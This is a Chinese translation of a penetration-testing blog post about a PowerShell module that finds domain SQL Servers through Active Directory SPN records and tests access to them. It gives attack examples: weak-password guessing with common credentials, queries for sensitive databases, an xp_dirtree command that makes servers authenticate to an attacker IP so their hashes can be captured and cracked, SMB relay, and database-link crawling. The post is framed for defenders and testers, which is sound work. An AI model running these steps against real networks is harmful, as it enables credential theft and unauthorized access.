非掃描式定位攻擊域內SQL Server

wyzsk發表於2020-08-19
作者: DM_ · 2014/06/02 13:25

from:https://www.netspi.com/blog/entryid/228/locate-and-attack-domain-sql-servers-without-scanning

0x00 背景


在這篇文章裡,我將分享一個新的PowerShell指令碼來使用AD中Service Principal Name (SPN) 記錄判別並攻擊windows域中的SQL Server,而且不需要掃描發現。起初我寫這個指令碼是為了在滲透測試中幫助提權及定位關鍵的資料。下面我將展示它對攻擊者和防禦者是多麼的有用。

0x01 非掃描式的SQL Server發現


當你沒有SQL Server認證資訊或試圖攻擊時,不同多樣的掃描技術是非常有用的。但是這一過程卻非常嘈雜,耗時。同時也有可能因為未知的網段資訊、非標準的埠、廣播域限制而錯過伺服器。當我在AD中偶遇 Service Principal Name (SPN) 時,我發現有一個便捷快速的方法定位域中的伺服器。 微軟的文件中是這樣陳述的:” ServicePrincipleName(SPN)是客戶端用來唯一標識一個服務例項的名稱。”這也就意味著每一個在windows域中安裝的服務都在AD中註冊。同樣也包括SQL Server。並且任何一個域成員都可以不用掃描獲取ADS上所有的SQL Server資訊,另外SPN包括例項確定的埠也就避免了掃描的麻煩。對於更多關於SPN的內容,可以參考我之前寫的一篇文章 "Faster Domain Escalation Using LDAP"。 瞭解SPN資訊在AD中存在之後確實很棒,但是很快我又意識到此時需要一個更加自動化的解決方案。

0x02 使用Get-SQLServerAccess PowerShell 模組自動化


在實驗室裡擺弄了一會,我認為如果有一個指令碼可以自動化透過LDAP從ADS中獲取SQL Server的列表,然後測試當前域使用者針對其的許可權,再一次我想到了PowerShell。因為它本身就支援我需要的一切。例如,標準的PowerShell v.3包含LDAP查詢、SQL Server查詢、IP解析、ICMP請求、資料分析,無需額外的庫、cmdlets,或者方法。 在一陣修補後,我打包成一個powershell 模組叫做”Get-SQLServerAccess.psm1”,我試著新增足夠的引數便於防禦者快速有效的發現問題所在,攻擊者也可以在提權中使用。同樣它也非常方便簡單的發現資料儲存的地方。接下來我試著從攻擊者和防禦者的角度突出地介紹一些功能。 我將Get-SQLServerAccess寫成一個Powershell模組,所以對於那些不熟悉的人我會先介紹安裝步驟。

0x03 安裝Get-SQLServerAccess模組


這個指令碼可以從我的github上下載(here),在某些時候我也會將它提交到Posh-SecMod,無論如何,請注意它需要Powershell v3的環境。這個模組可以手動安裝透過將其下載至下面路徑中的任意一處:

%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\ 
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\

然後你就可以透過下面的語句匯入:

Import-Module c:\temp\Get-SQLServerAccess.psm1

enter image description here

同樣你可以透過下面的語句判斷是否匯入成功

Get-Command Get-SQLServerAcess

enter image description here

防禦者使用示例 資料庫管理員通常都會給所有域成員登入SQLServer的許可權,因為實際上他們也不確定哪個域使用者組成員需要許可權,另外SQL Server的老版本預設允許域使用者登陸,這是因為一個許可權繼承的問題(見之前的文章here)。這些錯誤配置導致未認證的域使用者獲取資料和系統的許可權,作為一個防禦者快速的發現這些錯誤配置並修正是極好的。 Get-SQLServerAccess預設輸出允許當前域使用者登陸的SQL Server,另外輸出也會顯示SQL Server例項的名稱。如果使用者有SQL Serversy的sadmin許可權,並且執行SQL Server服務的是域管理員許可權,那麼下面的幾個示例,我想對於防禦者是非常方便的。 透過LDAP從ADS獲取SQL Server的列表,然後試圖用當前域使用者登陸每一個SQL Server。這是預設的輸出顯示。

PS C:\Get-SQLServerAccess
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes             
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

2,透過LDAP從ADS獲取SQL Server的列表,然後試圖用當前域使用者登陸每一個SQL Server。這次將輸出到CSV檔案中。

PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes             
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

下面是一個上例中輸出的截圖。

enter image description here

上面的例子只是展示了我實驗室中測試的結果,但是在真實環境中我通常看到成百上千的伺服器。Just for fun,我同樣建議你以一個域使用者許可權去執行這個指令碼,透過使用”psexec.exe –s –I cmd.exe”之後可以獲取一個本地system許可權的shell。然後向上述的一樣執行指令碼。我想你會驚訝於登陸進了多少臺SQL server,我記得我當時的樣子。不管怎麼說,到了攻擊的例子了。 攻擊者使用示例 對於SQL server來說有很多的攻擊方法。下面我將介紹在指令碼幫助下的五種攻擊技術。

1,弱口令猜解仍然是一種有效的攻擊方法。在每個客戶的測試環境中,我們發現每次都有少量存在弱口令的SQL Server。通常登陸使用者名稱包括sa,test,dba,user和sysadmin。密碼則是:[the username], [the company], password, Password1和SQL。除此之外有很多的資料庫弱口令猜解工具,但是我還是加了一個SQL Server登陸的引數來驗證在ADS中發現的SQL Server,下面是一個示例。注意:這個引數也可以方便的發現不同伺服器登入情況。

PS C:\Get-SQLServerAccess -sqluser test -sqlpass test
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] Failed   - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
[+] Failed   - server3.mydomain.com\SQLEXPRESS (192.168.1.103) is up, but authentication failed
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes             
[*] ----------------------------------------------------------------------
[*] 1 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

2,尋找敏感資料一直都很重要。使用自定義的”-query”引數便可以在每一個可登陸的SQL Server中查詢你想要的資訊。下面是一個簡單的示例,演示如何列出使用者可以登陸的伺服器中的資訊。 PS C:\Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"

[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as test...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No 
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:

Databases
---------                                                          
master
tempdb
msdb      

[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:

Databases
---------                                                          
master
tempdb
msdb      

[+] SUCCESS! - server4.mydomain.com\AppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes       
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1
[+] Query output:

Databases
---------                                                          
master
tempdb
msdb      
PCIDataDB
ApplicationDB
CompanySecrects                      

[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

3,捕獲和破解服務帳戶的密碼雜湊在滲透測試中同樣也是一個獲取SQL server服務賬戶許可權非常有效的攻擊方法,在許多場合下服務賬戶都有環境中所有SQL Server管理員許可權,偶爾賬戶也會有域管理許可權。我曾經寫了一篇關於捕獲中繼SQL Server服務賬戶密碼hash的文章(here)。然而,我提供過一種使用”-query”引數快速使SQL Server認證192.168.1.50攻擊者的IP的方法。

PS C:\ Get-SQLServerAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes             
[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\file'
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

有一個非常棒的工具叫做Responder可以捕獲從任意SQL server傳遞過來的密碼hash。它可以從這裡下載here。最後,hash可以使用OCLHashcat破解。

4,針對共享SQL Server服務帳戶,執行SMB中繼攻擊幾乎總是有效的。麻煩的是找出哪個SQL Server配置使用的是同一個服務賬戶。為了解決這個問題,我同樣也在指令碼中新增了幾個引數來顯示出所有服務賬戶。這些引數包括”-showsum”和”-showstatus”。服務賬戶同樣也可以輸出至csv檔案中。一旦被發現,我部落格之前提到的方法(found here)就可以用來獲取SQL Server系統級許可權。下面是一個基礎的例子展示如何發現使用相同服務賬戶的SQL Server:

PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes             
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

在這個例子中,你可以看到其中有三個都在使用同一個域共享服務賬戶。

enter image description here

5,爬取資料庫連結執行sysadmin許可權查詢也是一個幾乎在所有場景中應用的技術。Antti Rantasaari在他部落格裡發表過一個關於資料庫連結非常不錯的概述(How to Hack Database Links in SQL Server),在不久前我們同樣也寫過一個用來攻擊的metasploit模組(here)。儘管你可以盲目的列舉資料庫連結,但是我想用指令碼來抓取每一個可登陸的SQL Server的連結數會變得更方便。你可以用”-showsnum”和”-showsatus”選項來顯示它們。和上一個例子相似,同樣也可以輸出至csv檔案中。下面是上一個的例子。

PS C:\Get-SQLServerAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*] ----------------------------------------------------------------------
[*] Start Time: 04/01/2014 10:00:00
[*] Domain: mydomain.com
[*] DC: dc1.mydomain.com
[*] Getting list of SQL Server instances from DC as mydomain\myuser...
[*] 5 SQL Server instances found in LDAP.
[*] Attempting to login into 5 SQL Server instances as mydomain\myuser...
[*] ----------------------------------------------------------------------
[-] Failed   - server1.mydomain.com is not responding to pings
[+] SUCCESS! - server2.mydomain.com\AppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.com\AppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.com\SQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4.mydomain.com\AppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes             
[*] ----------------------------------------------------------------------
[*] 3 of 5 SQL Server instances could be accessed.        
[*] End Time: 04/01/2014 10:02:00      
[*] Total Time: 00:02:00
[*] ----------------------------------------------------------------------

正如你在示例所見,其中兩個伺服器存在連結,有可被攻擊的潛在可能。

enter image description here

0x04 小結


下載這個指令碼,用它來找到洞,然後修補它。 Have fun and hack responsibly!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章